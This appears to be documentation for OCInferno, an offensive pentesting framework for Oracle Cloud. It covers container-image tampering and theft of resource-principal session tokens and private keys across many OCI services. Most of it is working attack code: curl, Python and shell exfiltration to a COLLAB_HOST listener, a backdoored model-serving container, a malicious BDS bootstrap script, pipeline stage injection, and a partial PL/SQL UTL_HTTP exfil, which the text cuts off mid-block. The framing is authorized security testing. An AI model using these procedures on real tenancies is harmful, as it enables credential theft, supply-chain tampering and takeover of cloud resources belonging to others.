--yes / --no-prompt Non-interactive (auto-selects first stored token or creates new)

Examples

With OCInferno:

# Clone all repos in the workspace (SSH preferred)
modules run exploit_devops_repositories_download

# Clone only repos in a specific compartment
modules run exploit_devops_repositories_download --compartment-id COMPARTMENT_ID

# Clone a specific repository
modules run exploit_devops_repositories_download --repo-id ocid1.devopsrepository.oc1..

# Full history (no depth limit)
modules run exploit_devops_repositories_download --depth 0

# Non-interactive mode (auto-creates token if needed, no prompts)
modules run exploit_devops_repositories_download --yes

Without OCInferno (OCI CLI / git):

# Get the repository's HTTPS and SSH clone URLs
oci devops repository get --repository-id REPO_OCID --profile CRED_NAME \
  | python3 -c "import json,sys; d=json.load(sys.stdin)['data']; print(d.get('httpUrl',''), d.get('sshUrl',''))"

# SSH clone (uses your API signing key — no auth token needed)
# Configure ~/.ssh/config with the OCI DevOps host key first, then:
git clone --depth 1 \
  ssh://devops.scmservice.REGION.oci.oraclecloud.com/namespaces/NAMESPACE/projects/PROJECT_NAME/repositories/REPO_NAME

# HTTPS clone (create a temporary auth token, use as git password)
oci iam auth-token create --user-id USER_OCID --description temp-clone --profile CRED_NAME
# Identity Domain username format: TenancyName/DomainName/UserName
git clone --depth 1 \
  https://TENANCY_NAME/DOMAIN_NAME/USERNAME@devops.scmservice.REGION.oci.oraclecloud.com/namespaces/NAMESPACE/projects/PROJECT_NAME/repositories/REPO_NAME
# Delete the token after cloning
oci iam auth-token delete --user-id USER_OCID --auth-token-id TOKEN_ID --profile CRED_NAME --force

Container Registry Exploits

OCIR (Oracle Container Image Registry) stores OCI Functions images, DevOps pipeline build artifacts, and any other container images a tenancy uses. The module here interacts with OCIR using OCI API request signing — the same key used for all other OCI API calls — so no docker login and no auth token is needed for most operations.


exploit_ocir_image_manipulate

Module path: modules.containerregistry.exploit.exploit_ocir_image_manipulate
OpenGraph Edges: None (registry manipulation; not modelled as an IAM graph edge)

What It Does

Upload, pull, retag, replace, or delete OCIR container images without Docker. The module uses Docker Registry API v2 authenticated via OCI API request signing — no docker login, no auth token quota consumed.

Supported actions:

  • Upload — push a local docker save tarball to OCIR (OCI signing, no auth token)
  • Pull — download any tagged image to a local docker save tarball
  • Retag — copy an existing tag to a new tag within the same repository
  • Replace — delete the existing tag then push a new tarball (combine delete + upload)
  • Delete — delete a specific tag by digest
  • Gen-auth-token — mint an OCI auth token for the active user and print the docker login command (for external tools that require docker CLI, crane, skopeo, etc.)

Both interactive (browse repos → pick action) and drive-through (--repo, --tag, --action) modes are supported.

Example Scenario

You have manage functions-family but not manage auth-tokens — so docker login is not an option. Use exploit_ocir_image_manipulate --repo OBJECT_STORAGE_NAMESPACE/fn-rpst --action upload --source ./fn-rpst-python312/fn_play.tar --new-tag latest to push your RPST image using OCI API signing. No docker login, no auth token consumed. Then pass the image URI to exploit_functions_rpst with --tarball for a fully auth-token-free swap-and-invoke workflow.

Minimum Prerequisites

read repos-family in compartment      (interactive listing + pull)
manage repos-family in compartment    (upload, replace, delete, retag)
USER_UPDATE + AUTH_TOKEN_CREATE       (--gen-auth-token only; targets the active user)

Authentication

Uses OCI API signing by default — same key used for all other OCI API calls, no docker login required. Optionally falls back to Basic auth with --auth-token TOKEN_ID --username NAMESPACE/USERNAME when a stored auth token is available (see exploit_add_user_auth_token --save).

Key flags

Flag Description
--repo Repository path (e.g. OBJECT_STORAGE_NAMESPACE/myrepo)
--tag Source tag (default: latest)
--action upload / pull / retag / replace / delete
--source Local docker-save tarball path (for upload / replace)
--dest Output tarball path for pull (default: <repo>_<tag>.tar)
--new-tag Target tag for upload / retag / replace
--auth-token Token ID from configs auth-tokens list (Basic auth override)
--username Docker username for --auth-token (format: NAMESPACE/USERNAME)
--gen-auth-token Mint a token for the active user + print docker login command
--cleanup With --gen-auth-token: delete the token immediately after printing
--yes Skip confirmation prompts

Examples

With OCInferno:

# Interactive: browse repos and pick an action
modules run exploit_ocir_image_manipulate

# Upload a tarball (no docker login; OCI signing)
modules run exploit_ocir_image_manipulate \
  --repo OBJECT_STORAGE_NAMESPACE/fn-rpst \
  --action upload \
  --source ./fn-rpst-python312/fn_play.tar \
  --new-tag latest

# Pull an image to disk
modules run exploit_ocir_image_manipulate \
  --repo OBJECT_STORAGE_NAMESPACE/fn-rpst \
  --tag latest \
  --action pull \
  --dest ./fn-rpst-latest.tar

# Retag (e.g. rename :latest to :backup before replacing)
modules run exploit_ocir_image_manipulate \
  --repo OBJECT_STORAGE_NAMESPACE/fn-rpst \
  --tag latest \
  --action retag \
  --new-tag backup

# Delete a tag
modules run exploit_ocir_image_manipulate \
  --repo OBJECT_STORAGE_NAMESPACE/fn-rpst \
  --tag victim-image \
  --action delete \
  --yes

# Replace tag (delete + upload atomically)
modules run exploit_ocir_image_manipulate \
  --repo OBJECT_STORAGE_NAMESPACE/fn-rpst \
  --tag latest \
  --action replace \
  --source ./fn-rpst-python312/fn_play.tar

# Mint an auth token for the active user + print docker login command
modules run exploit_ocir_image_manipulate --gen-auth-token

# Mint + delete immediately (one-shot docker login for external tools)
modules run exploit_ocir_image_manipulate --gen-auth-token --cleanup --yes

Without OCInferno (OCI CLI + docker):

# List repositories
oci artifacts container repository list \
  --compartment-id COMPARTMENT_OCID --profile CRED_NAME

# List images in a repository
oci artifacts container image list \
  --repository-id REPO_OCID --profile CRED_NAME

# Push an image with docker (requires auth token — see exploit_add_user_auth_token)
docker login REGION_CODE.ocir.io -u "OBJECT_STORAGE_NAMESPACE/USERNAME" -p "AUTH_TOKEN"
docker load -i fn_play.tar
docker tag SOURCE_IMAGE:TAG REGION_CODE.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest
docker push REGION_CODE.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest

# Delete an image
oci artifacts container image delete \
  --image-id IMAGE_OCID --profile CRED_NAME --force

Cleaning up after testing

Every module here mutates the tenancy -- there is no dry-run mode. After a test pass, clean up what you created:

  • Users created via exploit_create_user: delete via the OCI Console or CLI (oci iam user delete / the domain's SCIM delete), which also removes their API keys and group memberships.
  • API keys added via exploit_add_user_api_key (including the ones exploit_create_user --with-api-key mints): delete via oci iam user api-key delete or the domain admin console if the key was left on a real, non-test user. Note this framework has no exploit or process module to delete API keys.
  • Group memberships added via exploit_add_self_to_group: remove via oci iam group remove-user or the domain's SCIM group-patch. Note this framework has no exploit or process module to remove group members.
  • Policies created/appended via exploit_write_policy: delete the policy, or remove the appended statement, via oci iam policy delete / oci iam policy update. Note this framework has no exploit or process module to delete policies or remove policy statements.

Re-run enum_identity/process_oracle_cloud_hound_data afterward to confirm your workspace DB and OpenGraph reflect the cleaned-up state.


Background: Manual Extraction Reference

General RPST mechanics and manual OCI CLI walkthrough for services without an automated exploit module. For services with exploit modules (DataFlow, Data Science Jobs, DevOps Build Pipelines, OCI Functions, Container Instances), see the Service Background section within each module above.

Resource Principal (RPST)

For all services in this section, the OCI runtime injects two pieces of credential material as file paths via environment variables. You need both — the private key signs every outbound HTTP request (OCI request-signing protocol), and the token provides the identity claim embedded in the keyId field of that signature.

Standard RPST environment variables

The env var names are the same across all RPST-capable services. What varies is the file path each variable points to (and for some services, how the runtime rotates the files):

Variable Always set? Description
OCI_RESOURCE_PRINCIPAL_RPST Yes File path to the JWT session token
OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM Yes File path to the RSA private key
OCI_RESOURCE_PRINCIPAL_REGION Yes Region string, e.g. us-phoenix-1

The Quick Reference table below shows what path each service uses for the token and key.

Standard exfil pattern (works inside any of these service runtimes)

curl -sS -X POST http://COLLAB_HOST/rpst \
  -H "Content-Type: application/json" \
  -d "{\"rpst\":\"$(cat $OCI_RESOURCE_PRINCIPAL_RPST | tr -d '\n')\",\"pk\":\"$(cat $OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM | base64 -w0)\"}"

SDK note: use oci.auth.signers.get_resource_principals_signer() when replaying — it reads env var values as file paths and loads the token from disk. EphemeralResourcePrincipalSigner expects inline token values and will fail on file-based material.

Load into OCInferno after extraction:

resource-principal CRED_NAME \
  --token-file ./rpst.jwt \
  --private-key-file ./rp_key.pem \
  --region REGION

Quick Reference

Services with automated exploit modules (OCI Functions, DevOps Build Pipelines, DataFlow, Container Instances, DS Job Runs) are covered in the Script Analysis sections of those modules above — see the Resource Principal (RPST) Extraction section. The table below covers no-module services only.

Service IAM Resource Type Min Verb resource.type (DG) Attack Action Token Path Key Path
DevOps Deploy Pipeline devops-deploy-pipeline use devopsdeploypipeline Inject deploy stage Standard env vars Standard env vars
DS Notebook Session data-science-notebook-sessions use datasciencenotebooksession Open session → browser terminal Standard env vars Standard env vars
DS Pipeline Run data-science-pipeline-runs manage datasciencepipelinerun Submit pipeline with bad step Standard env vars Standard env vars
DS Model Deployment data-science-model-deployments use datasciencemodeldeployment Swap serving container image Standard env vars Standard env vars
Big Data Service bds-instance use (policy-based, see below) Malicious bootstrap script /etc/security/tokens/rpst.token /etc/security/tokens/rpst.pem
Data Integration (DIS) dis-workspaces use resource.id (see below) Create REST task → CreateTaskRun Signed request header Signed request header
GoldenGate goldengate-deployments manage goldengatedeployment Update deployment image Standard env vars Standard env vars
Autonomous Database autonomous-databases manage autonomousdatabase SQL/PL-SQL via DBMS_CLOUD_ADMIN ADB-managed (not a file) ADB-managed (not a file)
MySQL HeatWave mysql-db-systems manage mysqldbsystem Stored procedure exfil Service-managed Service-managed
Oracle Integration Cloud integration-instances manage integration-instance REST adapter flow Signed request header Signed request header
OKE Workload Identity cluster use (OIDC token, not DG — see below) Retrieve workload RPST via proxymux In-cluster via proxymux endpoint In-cluster via proxymux endpoint

No Exploit Module Yet

The following services have manual extraction procedures documented below. Services with automated exploit modules (OCI Functions, DevOps Build Pipelines, DataFlow, Container Instances, DS Job Runs) are covered in the Service Background sections of those modules above.


CI/CD Pipelines

DevOps Deploy Pipelines

Deploy pipelines are a separate principal from build pipelines — each has its own RPST bound to resource.type = 'devopsdeploypipeline'. A grant to build pipelines does not extend to deploy pipelines.

Example dynamic group
ALL {resource.type = 'devopsdeploypipeline', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}

Source: Oracle DevOps policy examples

Extraction procedure

In place — if you can add or modify a shell-type deploy stage, echo to stdout captured in the deploy run log:

echo "RPST=$(cat $OCI_RESOURCE_PRINCIPAL_RPST)"
echo "PK=$(cat $OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM | base64 -w0)"

Retrieve the deploy run log from OCI Logging or the DevOps console (Deployment → Logs tab) after the run completes.


Exfil to listener:

1. List deploy pipelines:

oci devops deploy-pipeline list --compartment-id COMPARTMENT_ID --profile POC
{
  "data": {
    "deploy-pipeline-collection": {
      "items": [
        {
          "display-name": "backend-api-deploy",
          "id": "ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID",
          "lifecycle-state": "ACTIVE",
          "project-id": "ocid1.devopsproject.oc1.phx.PROJECT_OCID"
        }
      ]
    }
  }
}

2. List existing deploy stages:

oci devops deploy-stage list \
  --deploy-pipeline-id ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID \
  --profile POC
{
  "data": {
    "deploy-stage-collection": {
      "items": [
        {
          "deploy-stage-type": "COMPUTE_INSTANCE_GROUP_ROLLING_DEPLOYMENT",
          "display-name": "rolling-deploy",
          "id": "ocid1.devopsdeploystage.oc1.phx.STAGE_OCID",
          "lifecycle-state": "ACTIVE"
        }
      ]
    }
  }
}

3. Add a shell-script stage (SHELL type) that exfils the RPST:

oci devops deploy-stage create-shell-deploy-stage \
  --deploy-pipeline-id ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID \
  --display-name "health-gate" \
  --deploy-stage-predecessor-collection \
    '{"items": [{"id": "ocid1.devopsdeploystage.oc1.phx.STAGE_OCID"}]}' \
  --command-spec-deploy-environment-id ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID \
  --profile POC

Alternatively inject the exfil command into an existing shell stage's inline script:

oci devops deploy-stage update \
  --deploy-stage-id ocid1.devopsdeploystage.oc1.phx.STAGE_OCID \
  --shell-script-deploy-environment-id ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID \
  --profile POC

4. Trigger a deployment:

oci devops deployment create \
  --deploy-pipeline-id ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID \
  --display-name "bad-deployment" \
  --profile POC
{
  "data": {
    "deploy-pipeline-id": "ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID",
    "display-name": "bad-deployment",
    "id": "ocid1.devopsdeployment.oc1.phx.DEPLOYMENT_OCID",
    "lifecycle-state": "ACCEPTED",
    "time-created": "2026-07-23T00:00:00.000000+00:00"
  }
}

The deploy pipeline runs, the bad stage fires, and the RPST arrives at your listener.


Data Science

Data Science Notebook Sessions

Example dynamic group
ALL {resource.type = 'datasciencenotebooksession', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
Extraction procedure

1. List sessions:

oci data-science notebook-session list --compartment-id COMPARTMENT_ID --profile POC
{
  "data": [
    {
      "compartment-id": "ocid1.compartment.oc1..COMPARTMENT_OCID",
      "display-name": "data-analysis-notebook",
      "id": "ocid1.datasciencenotebooksession.oc1.phx.SESSION_OCID",
      "lifecycle-state": "INACTIVE",
      "project-id": "ocid1.datascienceproject.oc1.phx.PROJECT_OCID",
      "time-created": "2026-06-01T00:00:00.000000+00:00"
    }
  ]
}

2. Activate the session if INACTIVE:

oci data-science notebook-session activate \
  --notebook-session-id ocid1.datasciencenotebooksession.oc1.phx.SESSION_OCID \
  --profile POC
{
  "data": {
    "id": "ocid1.datasciencenotebooksession.oc1.phx.SESSION_OCID",
    "lifecycle-state": "UPDATING"
  }
}

3. Get the session URL:

oci data-science notebook-session get \
  --notebook-session-id ocid1.datasciencenotebooksession.oc1.phx.SESSION_OCID \
  --query 'data."notebook-session-url"' \
  --profile POC
"https://SESSION_OCID.datascience.oci.oraclecloud.com/?token=SESSION_TOKEN"

4. Open in browser and read the env vars directly.

In place — launch a JupyterLab terminal and cat the files:

cat $OCI_RESOURCE_PRINCIPAL_RPST
cat $OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM

Exfil to listener — run in a notebook cell instead:

import os, json
from urllib.request import urlopen, Request

with open(os.environ['OCI_RESOURCE_PRINCIPAL_RPST']) as f:
    rpst = f.read()
with open(os.environ['OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM']) as f:
    pk = f.read()

payload = json.dumps({'source': 'ds-notebook', 'rpst': rpst, 'pk': pk}).encode()
urlopen(Request('http://COLLAB_HOST/ds-rpst', payload, {'Content-Type': 'application/json'}), timeout=15)

Data Science Pipeline Runs

Example dynamic group
ALL {resource.type = 'datasciencepipelinerun', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
How the RPST is exposed

When a pipeline run executes an ML_JOB step, OCI injects the pipeline run's RPST into the step's execution environment — the same OCI_RESOURCE_PRINCIPAL_* env vars used by all other services. Your code runs inside that environment and can read the token directly.

The pipeline must already have an ML_JOB step (or you must inject one) that references the bad job artifact. Triggering a pipeline run executes that step, which runs your artifact code, which exfils the RPST.

In place — if you add an ML_JOB step that prints to stdout, per-step logs are viewable in the OCI Data Science console (Pipeline Run → step name → Logs). Use the same print-to-stdout artifact from Data Science Job Runs.


Exfil to listener:

Prerequisites: Create the bad job artifact from Data Science Job Runs first. That job artifact is what runs inside the pipeline's ML_JOB step.

1. List pipelines:

oci data-science pipeline list --compartment-id COMPARTMENT_ID --profile POC
{
  "data": {
    "pipeline-collection": {
      "items": [
        {
          "display-name": "training-pipeline",
          "id": "ocid1.datasciencepipeline.oc1.phx.PIPELINE_OCID",
          "lifecycle-state": "ACTIVE"
        }
      ]
    }
  }
}

2. Inject an ML_JOB step into the pipeline pointing at your bad job:

oci data-science pipeline update \
  --pipeline-id ocid1.datasciencepipeline.oc1.phx.PIPELINE_OCID \
  --step-details '[{
    "stepType": "ML_JOB",
    "stepName": "rpst-exfil",
    "jobId": "ocid1.datasciencejob.oc1.phx.JOB_OCID",
    "stepInfrastructureConfigurationDetails": {
      "shapeName": "VM.Standard2.1",
      "blockStorageSizeInGBs": 50
    },
    "isDependencyStepEnabled": false
  }]' \
  --profile POC
{
  "data": {
    "id": "ocid1.datasciencepipeline.oc1.phx.PIPELINE_OCID",
    "lifecycle-state": "UPDATING"
  }
}

3. Submit a pipeline run:

oci data-science pipeline-run create \
  --compartment-id COMPARTMENT_ID \
  --pipeline-id ocid1.datasciencepipeline.oc1.phx.PIPELINE_OCID \
  --display-name "bad-pipeline-run" \
  --profile POC
{
  "data": {
    "display-name": "bad-pipeline-run",
    "id": "ocid1.datasciencepipelinerun.oc1.phx.PIPELINERUN_OCID",
    "lifecycle-state": "ACCEPTED",
    "pipeline-id": "ocid1.datasciencepipeline.oc1.phx.PIPELINE_OCID",
    "time-accepted": "2026-07-23T00:00:00.000000+00:00"
  }
}

The rpst-exfil step runs, reads OCI_RESOURCE_PRINCIPAL_RPST + OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM, and POSTs both to your listener.


Data Science Model Deployments

Example dynamic group
ALL {resource.type = 'datasciencemodeldeployment', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
Extraction procedure

No in-place option: model deployments run a long-lived HTTP server with no interactive shell. Stdout is not easily retrievable, and OCI provides no exec/log-pull CLI for model deployment containers. Outbound exfil is the only practical path.

1. Build the pentester image.

Model deployments run an HTTP server — OCI health-checks hit / and the scoring endpoint is /predict. The image must serve HTTP or OCI will terminate it. A minimal server that exfils on startup and keeps responding:

server.py:

import os, json, threading
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.request import urlopen, Request

def exfil():
    rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
    pk_path   = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
    try:
        rpst = open(rpst_path).read() if rpst_path else 'NOT_FOUND'
        pk   = open(pk_path).read()   if pk_path   else 'NOT_FOUND'
        payload = json.dumps({'source': 'ds-model-deploy', 'rpst': rpst, 'pk': pk}).encode()
        urlopen(Request('http://COLLAB_HOST/ds-md-rpst', payload, {'Content-Type': 'application/json'}), timeout=20)
    except Exception:
        pass

threading.Thread(target=exfil, daemon=True).start()

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
    def do_POST(self):
        self.send_response(200); self.end_headers(); self.wfile.write(b'{"prediction": 0}')
    def log_message(self, *a): pass

HTTPServer(('0.0.0.0', 8080), H).serve_forever()

Dockerfile:

FROM python:3.11-slim
WORKDIR /app
COPY server.py .
EXPOSE 8080
CMD ["python3", "server.py"]
docker build -t DOCKERHUB_USER/ds-md-exfil:latest .
docker push DOCKERHUB_USER/ds-md-exfil:latest

2. List existing model deployments:

oci data-science model-deployment list --compartment-id COMPARTMENT_ID --profile POC
{
  "data": [
    {
      "display-name": "fraud-detection-v2",
      "id": "ocid1.datasciencemodeldeployment.oc1.phx.DEPLOYMENT_OCID",
      "lifecycle-state": "ACTIVE",
      "model-deployment-url": "https://DEPLOYMENT_OCID.modeldeployment.oci.oraclecloud.com"
    }
  ]
}

3. Swap the serving container:

oci data-science model-deployment update \
  --model-deployment-id ocid1.datasciencemodeldeployment.oc1.phx.DEPLOYMENT_OCID \
  --model-deployment-configuration-details '{
    "deploymentType": "SINGLE_MODEL",
    "modelConfigurationDetails": {
      "instanceConfiguration": {
        "instanceShapeName": "VM.Standard.E4.Flex",
        "modelDeploymentInstanceShapeConfigDetails": {"cpuBaseline": "BASELINE_1_8", "memoryInGBs": 6, "ocpus": 1}
      },
      "modelId": "MODEL_OCID",
      "scalingPolicy": {"policyType": "FIXED_SIZE", "instanceCount": 1},
      "bandwidthMbps": 10
    }
  }' \
  --profile POC
{
  "data": {
    "display-name": "fraud-detection-v2",
    "id": "ocid1.datasciencemodeldeployment.oc1.phx.DEPLOYMENT_OCID",
    "lifecycle-state": "UPDATING",
    "time-last-deployed": "2026-07-23T00:00:00.000000+00:00"
  }
}

When lifecycle-state returns to ACTIVE, the new container is running and the RPST exfil fires from the background thread on startup.


Database & Integration

Big Data Service (BDS)

BDS uses a different IAM matching mechanism. Instead of a dynamic group resource.type rule, BDS resource principals are matched in policies using request.principal.type = 'bigdataservice'.

Policy matching (not a dynamic group rule)
Allow any-user to read buckets in tenancy
  where ALL {
    request.principal.type = 'bigdataservice',
    request.principal.id = 'ocid1.bdsinstance.oc1..CLUSTER_OCID'
  }

Or scoped to a compartment:

Allow any-user to read buckets in tenancy
  where ALL {
    request.principal.type = 'bigdataservice',
    request.principal.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'
  }

Source: Oracle BDS resource principal

Extraction procedure

Token paths:

  • Token: /etc/security/tokens/rpst.token
  • Key: /etc/security/tokens/rpst.pem

In place — if you already have SSH access to any BDS cluster node:

cat /etc/security/tokens/rpst.token
cat /etc/security/tokens/rpst.pem

Exfil via bootstrap (no prior SSH access):

1. List clusters:

oci bds instance list --compartment-id COMPARTMENT_ID --profile POC
{
  "data": [
    {
      "cluster-version": "ODH2",
      "compartment-id": "ocid1.compartment.oc1..COMPARTMENT_OCID",
      "display-name": "analytics-cluster",
      "id": "ocid1.bdsinstance.oc1..CLUSTER_OCID",
      "is-high-availability": true,
      "lifecycle-state": "ACTIVE",
      "number-of-nodes": 8
    }
  ]
}

2. Upload a bad bootstrap script to Object Storage and create a Pre-Authenticated Request (PAR):

bootstrap.sh:

#!/bin/bash
RPST=$(cat /etc/security/tokens/rpst.token | tr -d '\n')
PK=$(cat /etc/security/tokens/rpst.pem | base64 -w0)
curl -sS -X POST "http://COLLAB_HOST/bds-rpst" \
  -H "Content-Type: application/json" \
  -d "{\"source\":\"bds\",\"rpst\":\"$RPST\",\"pk\":\"$PK\"}"
oci os object put \
  --namespace-name OBJECT_STORAGE_NAMESPACE \
  --bucket-name PENTESTER_BUCKET \
  --name bootstrap.sh \
  --file ./bootstrap.sh \
  --profile POC

oci os preauth-request create \
  --namespace-name OBJECT_STORAGE_NAMESPACE \
  --bucket-name PENTESTER_BUCKET \
  --name bootstrap-par \
  --access-type ObjectRead \
  --object-name bootstrap.sh \
  --time-expires "2026-12-31T00:00:00.000Z" \
  --profile POC
{
  "data": {
    "access-uri": "/p/PREAUTH_TOKEN/n/OBJECT_STORAGE_NAMESPACE/b/PENTESTER_BUCKET/o/bootstrap.sh",
    "bucket-name": "PENTESTER_BUCKET",
    "id": "ocid1.preauthrequest.oc1..PAR_OCID",
    "name": "bootstrap-par",
    "object-name": "bootstrap.sh",
    "time-expires": "2026-12-31T00:00:00.000000+00:00"
  }
}

3. Set the bootstrap URL on the cluster:

oci bds instance update \
  --instance-id ocid1.bdsinstance.oc1..CLUSTER_OCID \
  --bootstrap-script-url \
    "https://objectstorage.REGION.oraclecloud.com/p/PREAUTH_TOKEN/n/OBJECT_STORAGE_NAMESPACE/b/PENTESTER_BUCKET/o/bootstrap.sh" \
  --profile POC
{
  "data": {
    "id": "ocid1.bdsinstance.oc1..CLUSTER_OCID",
    "lifecycle-state": "UPDATING"
  }
}

4. Trigger a new worker node:

oci bds instance add-worker-nodes \
  --instance-id ocid1.bdsinstance.oc1..CLUSTER_OCID \
  --cluster-admin-password "CLUSTER_ADMIN_PASSWORD" \
  --number-of-worker-nodes 1 \
  --block-volume-size-in-gbs 150 \
  --profile POC
{
  "data": {
    "id": "ocid1.bdsinstance.oc1..CLUSTER_OCID",
    "lifecycle-state": "UPDATING",
    "number-of-nodes": 9
  }
}

The new worker node initializes, runs the bootstrap script, and the RPST POST arrives at your listener.


Data Integration Service (DIS)

Note: DIS does not support resource.type in dynamic group matching rules. Use resource.id = 'ocid1.disworkspace.oc1..WORKSPACE_OCID' in the DG rule to scope to a specific workspace. Alternatively, grant the workspace access via an any-user policy with a request.principal.type = 'disworkspace' condition.

Example dynamic group
ANY {resource.id = 'ocid1.disworkspace.oc1..WORKSPACE_OCID'}

Or for all workspaces in a compartment (uses compartment, not resource.type):

ALL {resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID',
     request.principal.type = 'disworkspace'}

Source: Oracle DIS REST tasks

Extraction procedure

DIS task management is done via the REST API — the OCI CLI does not expose task-level DIS operations. The workspace's identity signs all outbound REST calls.

1. List DIS workspaces:

oci data-integration workspace list --compartment-id COMPARTMENT_ID --profile POC
{
  "data": {
    "items": [
      {
        "display-name": "etl-workspace",
        "id": "ocid1.disworkspace.oc1.phx.WORKSPACE_OCID",
        "lifecycle-state": "ACTIVE",
        "endpoint-id": "ocid1.disworkspaceendpoint.oc1.phx.ENDPOINT_OCID"
      }
    ]
  }
}

2. Create a REST task via the DIS API with OCI signing to an pentester-controlled endpoint:

DIS_API="https://dataintegration.REGION.oci.oraclecloud.com/20200430"
WORKSPACE_ID="ocid1.disworkspace.oc1.phx.WORKSPACE_OCID"

curl -sS -X POST "${DIS_API}/workspaces/${WORKSPACE_ID}/tasks" \
  -H "Content-Type: application/json" \
  -H "Authorization: <OCI_SIG>" \
  --data '{
    "modelType": "REST_TASK",
    "name": "ExfilTask",
    "apiCallMode": "ASYNC_GENERIC",
    "restEndpoint": {
      "modelType": "REST_ENDPOINT",
      "url": "http://COLLAB_HOST/dis-rpst",
      "methodType": "POST"
    },
    "authConfig": {
      "modelType": "OCI_RESOURCE_AUTH_CONFIG"
    }
  }'
{
  "key": "TASK_KEY",
  "modelType": "REST_TASK",
  "name": "ExfilTask",
  "lifecycle-state": "ACTIVE"
}

3. Execute the task:

curl -sS -X POST "${DIS_API}/workspaces/${WORKSPACE_ID}/taskRuns" \
  -H "Authorization: <OCI_SIG>" \
  --data '{"taskKey": "TASK_KEY", "configProvider": {"bindings": {}}}'
{
  "key": "TASKRUN_KEY",
  "status": "ACCEPTED",
  "taskKey": "TASK_KEY"
}

4. The workspace's resource principal signs the outbound POST to your listener. Capture the full signed request — the Authorization header's key ID encodes the resource principal claim.


GoldenGate

Example dynamic group
ALL {resource.type = 'goldengatedeployment', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}

Source: Oracle GoldenGate dynamic group guide

Extraction procedure

In place — if you have SSH access to the GoldenGate compute host (the GG VM runs on an OCI instance):

echo $OCI_RESOURCE_PRINCIPAL_RPST
cat $OCI_RESOURCE_PRINCIPAL_RPST
cat $OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM

Otherwise, outbound exfil via the GoldenGate REST API or deployment config is required (see below).


Exfil to listener:

1. List deployments:

oci goldengate deployment list --compartment-id COMPARTMENT_ID --profile POC
{
  "data": {
    "items": [
      {
        "display-name": "prod-replication",
        "id": "ocid1.goldengatedeployment.oc1.phx.DEPLOYMENT_OCID",
        "lifecycle-state": "ACTIVE",
        "deployment-url": "https://DEPLOYMENT_OCID.deployment.goldengate.oci.oraclecloud.com"
      }
    ]
  }
}

2. Update the deployment (modifying the OGG data or license type triggers a restart with pentester-controlled configuration; inject a custom replication script via the GoldenGate REST API once the deployment is accessible):

oci goldengate deployment update \
  --deployment-id ocid1.goldengatedeployment.oc1.phx.DEPLOYMENT_OCID \
  --display-name "prod-replication" \
  --ogg-data '{"adminUsername": "admin"}' \
  --profile POC
{
  "data": {
    "display-name": "prod-replication",
    "id": "ocid1.goldengatedeployment.oc1.phx.DEPLOYMENT_OCID",
    "lifecycle-state": "UPDATING"
  }
}

3. Once the deployment restarts, use the GoldenGate REST API to create a replication process that calls out to your listener. The deployment's RPST is set in the standard env vars; use the exfil pattern from the top of the Resource Principal section.


Autonomous Database (ADB)

ADB resource principals are not file-based. The Oracle Database runtime manages the RPST internally via DBMS_CLOUD. You enable resource principal access through a SQL procedure, then exfil using built-in UTL_HTTP or DBMS_CLOUD_ADMIN queries.

Example dynamic group
ALL {resource.type = 'autonomousdatabase', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}

Source: Oracle ADB resource principal

Extraction procedure

The attack requires SQL access to the ADB (e.g., ADMIN credentials or a DB user with EXECUTE on DBMS_CLOUD_ADMIN).

1. List ADB instances:

oci db autonomous-database list --compartment-id COMPARTMENT_ID --profile POC
{
  "data": [
    {
      "db-name": "prodatp",
      "display-name": "prod-analytics-atp",
      "id": "ocid1.autonomousdatabase.oc1.phx.ADB_OCID",
      "lifecycle-state": "AVAILABLE",
      "db-workload": "OLTP",
      "is-free-tier": false,
      "time-created": "2026-01-10T00:00:00.000000+00:00"
    }
  ]
}

2. Enable resource principal (requires ADMIN or DBA role):

Connect to the ADB (via SQL*Net, SQL Developer, or oci db autonomous-database generate-wallet) and run:

-- Enable resource principal for this DB
BEGIN
  DBMS_CLOUD_ADMIN.ENABLE_RESOURCE_PRINCIPAL();
END;
/
PL/SQL procedure successfully completed.

3. Verify resource principal is active:

SELECT OWNER, OBJECT_NAME FROM ALL_OBJECTS
WHERE OBJECT_NAME = 'OCI$RESOURCE_PRINCIPAL';
OWNER       OBJECT_NAME
----------- ---------------------
SYS         OCI$RESOURCE_PRINCIPAL

4. Exfil via UTL_HTTP (requires ACL on the ADB for outbound HTTP):

DECLARE
  v_req  UTL_HTTP.REQ;
  v_resp UTL_HTTP.RESP;
  v_rpst CLOB;
BEGIN
  -- Read token from internal DBMS_CLOUD credential store
  v_rpst := DBMS_CLOUD_ADMIN.GET_RESOURCE_PRINCIPAL_TOKEN();
  
  v_req := UTL_HTTP.BEGIN_REQUEST(
    url    => 'http://COLLAB_HOST/adb-rpst',
    method => 'POST'
  );
  UTL_HTTP.SET_HEADER(v_req, 'Content-Type', 'application/json');
